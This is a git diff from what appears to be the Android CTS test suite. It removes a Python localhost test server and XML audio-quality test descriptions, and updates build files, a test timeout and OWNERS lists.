@@ -1,219 +0,0 @@
-#!/usr/bin/python
-
-# Copyright (C) 2012 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#       http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-import sys
-import numpy as np
-import scipy as sp
-import socket
-import struct
-sys.path.append(sys.path[0] + "/processing")
-from consts import *
-
-builtinFunctions = [
-    "echo", # send back whatever is received
-    "intsum", # returns int64 + int64
-]
-
-CMD_HEADER    = 0x0
-CMD_TERMINATE = 0x1
-CMD_FUNCTION  = 0x2
-CMD_AUDIO_MONO = 0x4
-CMD_AUDIO_STEREO = 0x5
-CMD_INT64 = 0x8
-CMD_DOUBLE = 0x9
-CMD_RESULT = 0x10
-
-def echo(inputData, inputTypes):
-    output = []
-    print "echo received ", inputData
-    output.append(RESULT_OK)
-    output.append(inputData)
-    output.append(inputTypes)
-    return output
-
-def intsum(inputData, inputTypes):
-    output = []
-    output.append(RESULT_OK)
-    sum = inputData[0] + inputData[1]
-    print "intsum sum is ", sum
-    outputData = []
-    outputData.append(sum)
-    outputTypes = []
-    outputTypes.append(TYPE_I64)
-    output.append(outputData)
-    output.append(outputTypes)
-    return output
-
-
-class CommandHandler(object):
-
-    def __init__(self, conn):
-        self.conn = conn
-    def __del__(self):
-        self.conn.close()
-    def run(self):
-        header = self.readI32()
-        if header == CMD_TERMINATE:
-            print "terminate cmd, will exit"
-            sys.exit(0)
-        nParam = 0
-        if header == CMD_HEADER:
-            nParam = self.readI32()
-            if nParam < 1:
-                protocolError("wrong number of params")
-            cmdFunction = self.readI32()
-            if cmdFunction != CMD_FUNCTION:
-                protocolError("not function")
-            nameLen = self.readI32()
-            self.functionName = self.readRaw(nameLen)
-            print "Processing function:", self.functionName
-            inputData = []
-            inputTypes = []
-            for i in range(nParam - 1):
-                cmd = self.readI32()
-                if (cmd == CMD_AUDIO_STEREO) or (cmd == CMD_AUDIO_MONO):
-                    dataLen = self.readI32()
-                    data = self.readI16Array(dataLen / 2)
-                    inputData.append(data)
-                    if (cmd == CMD_AUDIO_STEREO):
-                        inputTypes.append(TYPE_STEREO)
-                    else:
-                        inputTypes.append(TYPE_MONO)
-                    print i, "-th input received audio data ", dataLen, cmd
-                elif cmd == CMD_INT64:
-                    i64 = self.readI64()
-                    inputData.append(i64)
-                    inputTypes.append(TYPE_I64)
-                elif cmd == CMD_DOUBLE:
-                    val = self.readDouble()
-                    inputData.append(val)
-                    inputTypes.append(TYPE_DOUBLE)
-                else:
-                    self.protocolError("unknown command " + str(cmd))
-            print "inputTypes ", inputTypes
-            # length 3 list
-            # output[0]: int, execution result, RESULT_XXX values
-            # output[1]: output data list
-            # output[2]: output type list
-            output = []
-            if not self.functionName in builtinFunctions:
-                mod = __import__(self.functionName)
-                output = getattr(mod, self.functionName)(inputData, inputTypes)
-            else:
-                output = globals()[self.functionName](inputData, inputTypes)
-            nOutputParams = len(output[1])
-            self.sendI32(CMD_HEADER)
-            self.sendI32(nOutputParams + 1) # 1 for result
-            self.sendI32(CMD_RESULT)
-            self.sendI32(output[0])
-            outputData = output[1]
-            outputTypes = output[2]
-            print "outputTypes ", outputTypes
-            for i in range(nOutputParams):
-                if (outputTypes[i] == TYPE_I64):
-                    self.sendI32(CMD_INT64)
-                    self.sendI64(outputData[i])
-                elif (outputTypes[i] == TYPE_DOUBLE):
-                    self.sendI32(CMD_DOUBLE)
-                    self.sendDouble(outputData[i])
-                elif (outputTypes[i] == TYPE_STEREO):
-                    self.sendI32(CMD_AUDIO_STEREO)
-                    self.sendI32(len(outputData[i]) * 2)
-                    self.sendI16Array(outputData[i])
-                elif (outputTypes[i] == TYPE_MONO):
-                    self.sendI32(CMD_AUDIO_MONO)
-                    self.sendI32(len(outputData[i]) * 2)
-                    self.sendI16Array(outputData[i])
-                else:
-                    print "unknown type ", outputTypes[i], \
-                        " returned from funcion ", self.functionName
-                    sys.exit(1)
-
-    def readRaw(self, length):
-        result = []
-        totalRead = 0
-        while totalRead < length:
-            raw = self.conn.recv(length - totalRead)
-            justRead = len(raw)
-            if justRead == 0: # socket closed
-                sys.exit(1)
-            totalRead += justRead
-            result.append(raw)
-        return ''.join(result)
-
-    def readI32(self):
-        raw = self.readRaw(4)
-        i32 = struct.unpack("<i", raw)
-        return i32[0]
-
-    def readI64(self):
-        raw = self.readRaw(8)
-        i64 = struct.unpack("<q", raw)
-        return i64[0]
-
-    def readDouble(self):
-        raw = self.readRaw(8)
-        val = struct.unpack("<d", raw)
-        return val[0]
-
-    def readI16Array(self, length):
-        raw = self.readRaw(length * 2)
-        data = np.fromstring(raw, dtype=np.int16)
-        return data
-
-    def sendI32(self, i32):
-        raw = struct.pack("<i", i32)
-        self.sendRaw(raw)
-
-    def sendI64(self, i64):
-        raw = struct.pack("<q", i64)
-        self.sendRaw(raw)
-
-    def sendDouble(self, val):
-        raw = struct.pack("<d", val)
-        self.sendRaw(raw)
-
-    def sendI16Array(self, arry):
-        raw = arry.tostring()
-        self.sendRaw(raw)
-
-    def sendRaw(self, rawString):
-        totalSent = 0
-        stringLen = len(rawString)
-        while totalSent < stringLen:
-            sent = self.conn.send(rawString[totalSent:])
-            totalSent += sent
-
-    def protocolError(self, message):
-        print message
-        sys.exit(1)
-
-
-if __name__=="__main__":
-    HOST = "localhost"
-    PORT = 15010
-    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
-    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
-    s.bind((HOST, PORT))
-    s.listen(1)
-
-    conn, addr = s.accept()
-    print "client connected"
-    # close the server socket to allow other instance to run
-    s.close()
-    handler = CommandHandler(conn)
-    while 1:
-        handler.run()
diff --git a/suite/audio_quality/test_description/review/review_dut_recording_spectrum.xml b/suite/audio_quality/test_description/review/review_dut_recording_spectrum.xml
deleted file mode 100644
index b8157be..0000000
--- a/suite/audio_quality/test_description/review/review_dut_recording_spectrum.xml
+++ /dev/null
@@ -1,38 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-
-<!-- Copyright (C) 2012 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-
-<case name="review_dut_recording_spectrum" version="1.0" description="Review">
-	<setup>
-		<sound id="sound_host_0" type="file:reports/2012_05_14_09_27_40/dut_recording_spectrum/host_in_0.r2m" />
-		<sound id="sound_dut_0" type="file:reports/2012_05_14_09_27_40/dut_recording_spectrum/dut_in_0.r2m" />
-		<sound id="sound_host_1" type="file:reports/2012_05_14_09_27_40/dut_recording_spectrum/host_in_1.r2m" />
-		<sound id="sound_dut_1" type="file:reports/2012_05_14_09_27_40/dut_recording_spectrum/dut_in_1.r2m" />
-		<sound id="sound_host_2" type="file:reports/2012_05_14_09_27_40/dut_recording_spectrum/host_in_2.r2m" />
-		<sound id="sound_dut_2" type="file:reports/2012_05_14_09_27_40/dut_recording_spectrum/dut_in_2.r2m" />
-		<sound id="sound_host_3" type="file:reports/2012_05_14_09_27_40/dut_recording_spectrum/host_in_3.r2m" />
-		<sound id="sound_dut_3" type="file:reports/2012_05_14_09_27_40/dut_recording_spectrum/dut_in_3.r2m" />
-		<sound id="sound_host_4" type="file:reports/2012_05_14_09_27_40/dut_recording_spectrum/host_in_4.r2m" />
-		<sound id="sound_dut_4" type="file:reports/2012_05_14_09_27_40/dut_recording_spectrum/dut_in_4.r2m" />
-	</setup>
-	<action>
-		<sequential repeat="5" index="k">
-			<!-- input: host record, device record, samping rate, low frequency in Hz, high frequency in Hz, allowed error for pass in smaller side, allowed error in bigger side%, output: min value in lower side calculated normalized to 1.0, max value in higher side, calculated TF in mannitude only between low f to high f -->
-			<process method="script:check_spectrum" input="id:sound_host_$k,id:sound_dut_$k,consti:44100,consti:200,consti:4000,constf:50.0,constf:100.0" output="val:min_val_$k,val:max_val_$k,id:tf_$k" />
-		</sequential>
-	</action>
-	<save report="min_val_.*,max_val_.*" />
-</case>
diff --git a/suite/audio_quality/test_description/test/dut_speaker_play.xml b/suite/audio_quality/test_description/test/dut_speaker_play.xml
deleted file mode 100644
index d2e35e8..0000000
--- a/suite/audio_quality/test_description/test/dut_speaker_play.xml
+++ /dev/null
@@ -1,34 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-
-<!-- Copyright (C) 2012 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-
-<case name="dut_speaker_play" version="1.0" description="Play DUT speaker for some time">
-	<setup> <!-- 1 setup -->
-		<!-- prepare sound source id: to be used in output, sine 1000Hz, 20000ms long -->
-		<sound id="sound1" type="sin:32000:100:5000" preload="1" />
-	</setup>
-
-
-	<action> <!-- 1 action -->
-		<!--  equivalent of for loop. all children will be completed before moving to the next 
-		      stage.repeat up to 100 times unless stopped by some condition -->
-		<sequential repeat="20" index="i">
-			<!--  sync start : execute only sync complete : execute + complete
-			      For sync start, complete will be called when the parent completes -->
-			<output device="DUT" id="sound1" gain="100" sync="start" waitforcompletion="1" />
-		</sequential>
-	</action>
-</case>
diff --git a/suite/audio_quality/test_description/test/missing_mandatory.xml b/suite/audio_quality/test_description/test/missing_mandatory.xml
deleted file mode 100644
index d245a2f..0000000
--- a/suite/audio_quality/test_description/test/missing_mandatory.xml
+++ /dev/null
@@ -1,30 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-
-<!-- Copyright (C) 2012 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-
-<case name="host_speaker_calibration" version="1.0" description="Calibrate host speaker's volume.">
-	<action>
-		<sequential repeat="100" index="i">
-			<output device="host" id="sound1" gain="70" sync="start"/>
-			<sequential repeat="20" index=j>
-				<input device="host" id="host_in" gain="70" time="1000" sync="complete" />
-				<process method="builtin:rms_passfail" input="id:host_in" output="val:rms_$i_$j,val:passfail" />
-				<message input="val:passfail" output_low="Volume Low" output_ok="Volume OK" output_high="Volume High" />
-			</sequential>
-		</sequential>
-	</action>
-	<save file="host_in" report="rms_.*" />
-</case>
\ No newline at end of file
diff --git a/suite/audio_quality/test_description/test/no_attrib.xml b/suite/audio_quality/test_description/test/no_attrib.xml
deleted file mode 100644
index a5aba05..0000000
--- a/suite/audio_quality/test_description/test/no_attrib.xml
+++ /dev/null
@@ -1,34 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-
-<!-- Copyright (C) 2012 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-
-<case>
-	<setup>
-		<sound />
-	</setup>
-
-	<action>
-		<sequential>
-			<output />
-			<sequential >
-				<input  />
-				<process  />
-				<message  />
-			</sequential>
-		</sequential>
-	</action>
-	<save  />
-</case>
\ No newline at end of file
diff --git a/suite/audio_quality/test_description/test/short1.r2s b/suite/audio_quality/test_description/test/short1.r2s
deleted file mode 100644
index 78a68a8..0000000
--- a/suite/audio_quality/test_description/test/short1.r2s
+++ /dev/null
Binary files differ
diff --git a/suite/audio_quality/test_description/test/test_io.xml b/suite/audio_quality/test_description/test/test_io.xml
deleted file mode 100644
index 60aac3f..0000000
--- a/suite/audio_quality/test_description/test/test_io.xml
+++ /dev/null
@@ -1,39 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-
-<!-- Copyright (C) 2012 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-
-<case name="test_io" version="1.0" description="Test Input / Output">
-	<setup> <!-- 1 setup -->
-		<!-- prepare sound source id: to be used in output, sine 1000Hz, 1000ms long -->
-		<sound id="sound1" type="sin:10000:1000:1000" preload="1" />
-	</setup>
-
-	<action> <!-- 1 action -->
-		<!--  equivalent of for loop. all children will be completed before moving to the next 
-		      stage.repeat up to 100 times unless stopped by some condition -->
-		<sequential repeat="1" index="i">
-			<output device="host" id="sound1" gain="100" sync="start"/>
-			<output device="DUT" id="sound1" gain="100" sync="start"/>
-			<input device="host" id="host1" gain="100" time="500" sync="start"/>
-			<input device="DUT" id="device1" gain="100" time="500" sync="start"/>
-		</sequential>
-		<sequential repeat="1" index="i2">
-		    <process method="builtin:rms_mva" input="id:host1,consti:0,consti:0" output="val:rms_host" />
-		    <process method="builtin:rms_mva" input="id:device1,consti:0,consti:20000" output="val:rms_device" />
-		</sequential>
-	</action>
-	<save  file="host1,device1" report="rms_.*"/>
-</case>
diff --git a/suite/audio_quality/test_description/test/test_rms_vma.xml b/suite/audio_quality/test_description/test/test_rms_vma.xml
deleted file mode 100644
index 163ddad..0000000
--- a/suite/audio_quality/test_description/test/test_rms_vma.xml
+++ /dev/null
@@ -1,34 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-
-<!-- Copyright (C) 2012 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-
-<case name="test_rms_vma" version="1.0" description="Test built-in rms_vma">
-	<setup> <!-- 1 setup -->
-		<!-- prepare sound source id: to be used in output, sine 1000Hz, 20000ms long -->
-		<sound id="sound1" type="sin:100:1000:20000" />
-	</setup>
-
-	<action> <!-- 1 action -->
-		<!--  equivalent of for loop. all children will be completed before moving to the next 
-		      stage.repeat up to 100 times unless stopped by some condition -->
-		<sequential repeat="10" index="i">		      
-			<sequential repeat="10" index="j">
-				<process method="builtin:rms_mva" input="id:sound1,consti:1000,consti:2000" output="val:rms_$i_$j" />
-			</sequential>
-		</sequential>
-	</action>
-	<save  file="sound1" report="rms_.*"/>
-</case>
\ No newline at end of file
diff --git a/suite/audio_quality/test_description/test/unknown_element.xml b/suite/audio_quality/test_description/test/unknown_element.xml
deleted file mode 100644
index ae5eaa1..0000000
--- a/suite/audio_quality/test_description/test/unknown_element.xml
+++ /dev/null
@@ -1,28 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-
-<!-- Copyright (C) 2012 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-
-<case name="host_speaker_calibration" version="1.0" description="Calibrate host speaker's volume.">
-	<setup>
-		<sound id="sound1" type="sin:100:1000:20000" unsupprotedattrib="should fail" />
-	</setup>
-
-	<action>
-		<sequential repeat="100" index="i">
-		</sequential>
-	</action>
-	<nosuchelement />
-</case>
\ No newline at end of file
diff --git a/suite/audio_quality/test_description/test/wrong_attrib.xml b/suite/audio_quality/test_description/test/wrong_attrib.xml
deleted file mode 100644
index 0c7c95c..0000000
--- a/suite/audio_quality/test_description/test/wrong_attrib.xml
+++ /dev/null
@@ -1,28 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-
-<!-- Copyright (C) 2012 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-
-<case name="host_speaker_calibration" version="1.0" description="Calibrate host speaker's volume." unsupprotedattrib="should fail">
-	<setup unsupprotedattrib="should fail">
-		<sound id="sound1" type="sin:100:1000:20000" unsupprotedattrib="should fail" />
-	</setup>
-
-	<action unsupprotedattrib="should fail">
-		<sequential repeat="100" index="i" unsupprotedattrib="should fail">
-		</sequential>
-	</action>
-	<save file="host_in" report="rms_.*"  unsupprotedattrib="should fail"/>
-</case>
\ No newline at end of file
diff --git a/tests/AlarmManager/Android.bp b/tests/AlarmManager/Android.bp
index 55401ca..f65540a 100644
--- a/tests/AlarmManager/Android.bp
+++ b/tests/AlarmManager/Android.bp
@@ -36,4 +36,9 @@
         "mts-scheduling",
     ],
     platform_apis: true,
+    data: [
+        ":AlarmTestApp30",
+        ":AlarmTestApp",
+    ],
+    per_testcase_directory: true,
 }
diff --git a/tests/AlarmManager/AndroidTest.xml b/tests/AlarmManager/AndroidTest.xml
index a2f4521..161a887 100644
--- a/tests/AlarmManager/AndroidTest.xml
+++ b/tests/AlarmManager/AndroidTest.xml
@@ -20,6 +20,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
 
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/BlobStore/Android.bp b/tests/BlobStore/Android.bp
index 7fcb613..e1173d4 100644
--- a/tests/BlobStore/Android.bp
+++ b/tests/BlobStore/Android.bp
@@ -36,7 +36,13 @@
         "cts",
         "general-tests",
     ],
-    sdk_version: "test_current"
+    sdk_version: "test_current",
+    data: [
+        ":CtsBlobStoreTestHelper",
+        ":CtsBlobStoreTestHelperDiffSig",
+        ":CtsBlobStoreTestHelperDiffSig2",
+    ],
+    per_testcase_directory: true,
 }
 
 android_test_helper_app {
diff --git a/tests/BlobStore/src/com/android/cts/blob/BlobStoreManagerTest.java b/tests/BlobStore/src/com/android/cts/blob/BlobStoreManagerTest.java
index 9697384..d6afd9a 100644
--- a/tests/BlobStore/src/com/android/cts/blob/BlobStoreManagerTest.java
+++ b/tests/BlobStore/src/com/android/cts/blob/BlobStoreManagerTest.java
@@ -84,7 +84,7 @@
 @RunWith(BlobStoreTestRunner.class)
 public class BlobStoreManagerTest {
 
-    private static final long TIMEOUT_COMMIT_CALLBACK_SEC = 50;
+    private static final long TIMEOUT_COMMIT_CALLBACK_SEC = 100;
 
     private static final long TIMEOUT_BIND_SERVICE_SEC = 2;
 
diff --git a/tests/JobScheduler/Android.bp b/tests/JobScheduler/Android.bp
index c4f8018..ec39138 100644
--- a/tests/JobScheduler/Android.bp
+++ b/tests/JobScheduler/Android.bp
@@ -38,4 +38,8 @@
     ],
     // sdk_version: "current",
     platform_apis: true,
+    data: [
+        ":CtsJobTestApp",
+    ],
+    per_testcase_directory: true,
 }
diff --git a/tests/JobSchedulerSharedUid/Android.bp b/tests/JobSchedulerSharedUid/Android.bp
index ee30d75..16e7940 100644
--- a/tests/JobSchedulerSharedUid/Android.bp
+++ b/tests/JobSchedulerSharedUid/Android.bp
@@ -38,5 +38,11 @@
     ],
     //sdk_version: "current"
     platform_apis: true,
+    data: [
+        ":CtsJobSchedulerJobPerm",
+        ":CtsJobSchedulerSharedUid",
+        ":CtsJobSharedUidTestApp",
+    ],
+    per_testcase_directory: true,
 
 }
diff --git a/tests/JobSchedulerSharedUid/OWNERS b/tests/JobSchedulerSharedUid/OWNERS
index ef7929f..c1b2b78 100644
--- a/tests/JobSchedulerSharedUid/OWNERS
+++ b/tests/JobSchedulerSharedUid/OWNERS
@@ -1,2 +1,3 @@
 # Bug component: 330738
-ctate@google.com
\ No newline at end of file
+
+include /tests/JobScheduler/OWNERS
\ No newline at end of file
diff --git a/tests/MediaProviderTranscode/AndroidTest.xml b/tests/MediaProviderTranscode/AndroidTest.xml
index 8dba741..1fdeb9e 100644
--- a/tests/MediaProviderTranscode/AndroidTest.xml
+++ b/tests/MediaProviderTranscode/AndroidTest.xml
@@ -32,4 +32,8 @@
         <option name="runner" value="androidx.test.runner.AndroidJUnitRunner" />
         <option name="hidden-api-checks" value="false"/>
     </test>
+
+    <object type="module_controller" class="com.android.tradefed.testtype.suite.module.MainlineTestModuleController">
+      <option name="mainline-module-package-name" value="com.google.android.mediaprovider" />
+    </object>
 </configuration>
diff --git a/tests/MediaProviderTranscode/res/raw/testVideo_HEVC_long.mp4 b/tests/MediaProviderTranscode/res/raw/testVideo_HEVC_long.mp4
index 6b37153..c8d4b8f 100755
--- a/tests/MediaProviderTranscode/res/raw/testVideo_HEVC_long.mp4
+++ b/tests/MediaProviderTranscode/res/raw/testVideo_HEVC_long.mp4
Binary files differ
diff --git a/tests/MediaProviderTranscode/res/raw/testVideo_HEVC_medium.mp4 b/tests/MediaProviderTranscode/res/raw/testVideo_HEVC_medium.mp4
index 207530c..96cf7b1 100755
--- a/tests/MediaProviderTranscode/res/raw/testVideo_HEVC_medium.mp4
+++ b/tests/MediaProviderTranscode/res/raw/testVideo_HEVC_medium.mp4
Binary files differ
diff --git a/tests/MediaProviderTranscode/res/raw/testVideo_HEVC_small.mp4 b/tests/MediaProviderTranscode/res/raw/testVideo_HEVC_small.mp4
index f2aa045..b2b0f5d 100755
--- a/tests/MediaProviderTranscode/res/raw/testVideo_HEVC_small.mp4
+++ b/tests/MediaProviderTranscode/res/raw/testVideo_HEVC_small.mp4
Binary files differ
diff --git a/tests/MediaProviderTranscode/res/raw/testVideo_Legacy.mp4 b/tests/MediaProviderTranscode/res/raw/testVideo_Legacy.mp4
index 1c74ffa..001667d3 100755
--- a/tests/MediaProviderTranscode/res/raw/testVideo_Legacy.mp4
+++ b/tests/MediaProviderTranscode/res/raw/testVideo_Legacy.mp4
Binary files differ
diff --git a/tests/MediaProviderTranscode/res/raw/testvideo_HEVC.mp4 b/tests/MediaProviderTranscode/res/raw/testvideo_HEVC.mp4
index 8a3dba2..fcc1bb4 100644
--- a/tests/MediaProviderTranscode/res/raw/testvideo_HEVC.mp4
+++ b/tests/MediaProviderTranscode/res/raw/testvideo_HEVC.mp4
Binary files differ
diff --git a/tests/ServiceKillTest/Android.bp b/tests/ServiceKillTest/Android.bp
index a9f32c5..3ffa17d 100644
--- a/tests/ServiceKillTest/Android.bp
+++ b/tests/ServiceKillTest/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsServiceKillTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/ServiceKillTest/app/Android.bp b/tests/ServiceKillTest/app/Android.bp
index 834ce40..8d84090 100644
--- a/tests/ServiceKillTest/app/Android.bp
+++ b/tests/ServiceKillTest/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsServiceKillTestApp",
     defaults: ["cts_support_defaults"],
diff --git a/tests/accessibility/OWNERS b/tests/accessibility/OWNERS
index 0d2264c..edcf656d 100644
--- a/tests/accessibility/OWNERS
+++ b/tests/accessibility/OWNERS
@@ -1,5 +1,4 @@
 # Bug component: 44214
-pweaver@google.com
-rhedjao@google.com
-qasid@google.com
 ryanlwlin@google.com
+sallyyuen@google.com
+pweaver@google.com
diff --git a/tests/accessibilityservice/Android.bp b/tests/accessibilityservice/Android.bp
index 3f5d8c7..f65d58d 100644
--- a/tests/accessibilityservice/Android.bp
+++ b/tests/accessibilityservice/Android.bp
@@ -39,5 +39,9 @@
         "general-tests",
     ],
     sdk_version: "test_current",
-    data: [":CtsAccessibilityWidgetProvider"],
+    per_testcase_directory: true,
+    data: [
+        ":CtsInputMethod1",
+        ":CtsAccessibilityWidgetProvider",
+    ],
 }
diff --git a/tests/accessibilityservice/OWNERS b/tests/accessibilityservice/OWNERS
index 0d2264c..edcf656d 100644
--- a/tests/accessibilityservice/OWNERS
+++ b/tests/accessibilityservice/OWNERS
@@ -1,5 +1,4 @@
 # Bug component: 44214
-pweaver@google.com
-rhedjao@google.com
-qasid@google.com
 ryanlwlin@google.com
+sallyyuen@google.com
+pweaver@google.com
diff --git a/tests/admin/OWNERS b/tests/admin/OWNERS
index dfbd645..4d977c5 100644
--- a/tests/admin/OWNERS
+++ b/tests/admin/OWNERS
@@ -1,2 +1,2 @@
 # Bug component: 100560
-file:platform/frameworks/base:/core/java/android/app/admin/EnterprisePlatform_OWNERS
+file:platform/frameworks/base:/core/java/android/app/admin/EnterprisePlatform_OWNERS
\ No newline at end of file
diff --git a/tests/app/Android.bp b/tests/app/Android.bp
index 9fb2860..084378f 100644
--- a/tests/app/Android.bp
+++ b/tests/app/Android.bp
@@ -47,14 +47,38 @@
     test_suites: [
         "cts",
         "general-tests",
-        "sts"
+        "sts",
     ],
     instrumentation_for: "CtsAppTestStubs",
     sdk_version: "test_current",
-    min_sdk_version: "14",
+    // 21 required for multi-dex.
+    min_sdk_version: "21",
     // Disable coverage since it pushes us over the dex limit and we don't
     // actually need to measure the tests themselves.
-    jacoco: { exclude_filter: ["**"] }
+    jacoco: {
+        exclude_filter: ["**"],
+    },
+    // Even with coverage disabled, we're close to the single dex limit, so allow use of multi-dex.
+    dxflags: ["--multi-dex"],
+    data: [
+        ":CtsSimpleApp",
+        ":CtsAppTestStubs",
+        ":CtsAppTestStubsApp1",
+        ":CtsAppTestStubsApp3",
+        ":CtsAppTestStubsApp2",
+        ":CtsAppTestStubsApi30",
+        ":CtsBadProviderStubs",
+        ":CtsCantSaveState1",
+        ":CtsCantSaveState2",
+        ":NotificationDelegator",
+        ":NotificationProvider",
+        ":NotificationListener",
+        ":StorageDelegator",
+        ":CtsActivityManagerApi29",
+        ":NotificationTrampoline",
+        ":NotificationTrampolineApi30",
+    ],
+    per_testcase_directory: true,
 }
 
 android_test {
@@ -90,7 +114,7 @@
     manifest: "DownloadManagerApi28Test/AndroidManifest.xml",
     test_config: "DownloadManagerApi28Test/AndroidTest.xml",
     lint: {
-    	baseline_filename: "lint-baseline-api-28.xml",
+        baseline_filename: "lint-baseline-api-28.xml",
     },
 }
 
@@ -127,7 +151,7 @@
     manifest: "DownloadManagerInstallerTest/AndroidManifest.xml",
     test_config: "DownloadManagerInstallerTest/AndroidTest.xml",
     lint: {
-    	baseline_filename: "lint-baseline-installer.xml",
+        baseline_filename: "lint-baseline-installer.xml",
     },
 }
 
diff --git a/tests/app/NotificationListener/Android.bp b/tests/app/NotificationListener/Android.bp
index 4c43e37..adfa03d 100644
--- a/tests/app/NotificationListener/Android.bp
+++ b/tests/app/NotificationListener/Android.bp
@@ -39,6 +39,5 @@
         "androidx.test.rules",
         "platform-test-annotations",
     ],
-    platform_apis: true,
     sdk_version: "test_current",
 }
diff --git a/tests/app/NotificationProvider/Android.bp b/tests/app/NotificationProvider/Android.bp
index 4a9d084..a0c6396 100644
--- a/tests/app/NotificationProvider/Android.bp
+++ b/tests/app/NotificationProvider/Android.bp
@@ -19,7 +19,10 @@
 android_test_helper_app {
     name: "NotificationProvider",
     defaults: ["cts_support_defaults"],
-    srcs: ["**/*.java", "**/*.kt"],
+    srcs: [
+        "**/*.java",
+        "**/*.kt",
+    ],
     // Tag this module as a cts test artifact
     test_suites: [
         "cts",
@@ -27,6 +30,5 @@
         "general-tests",
         "sts",
     ],
-    platform_apis: true,
     sdk_version: "current",
 }
diff --git a/tests/app/src/android/app/cts/ActivityManagerApi29Test.java b/tests/app/src/android/app/cts/ActivityManagerApi29Test.java
index 0cbe497..d8f4da9 100644
--- a/tests/app/src/android/app/cts/ActivityManagerApi29Test.java
+++ b/tests/app/src/android/app/cts/ActivityManagerApi29Test.java
@@ -17,7 +17,6 @@
 
 import static android.Manifest.permission.ACCESS_COARSE_LOCATION;
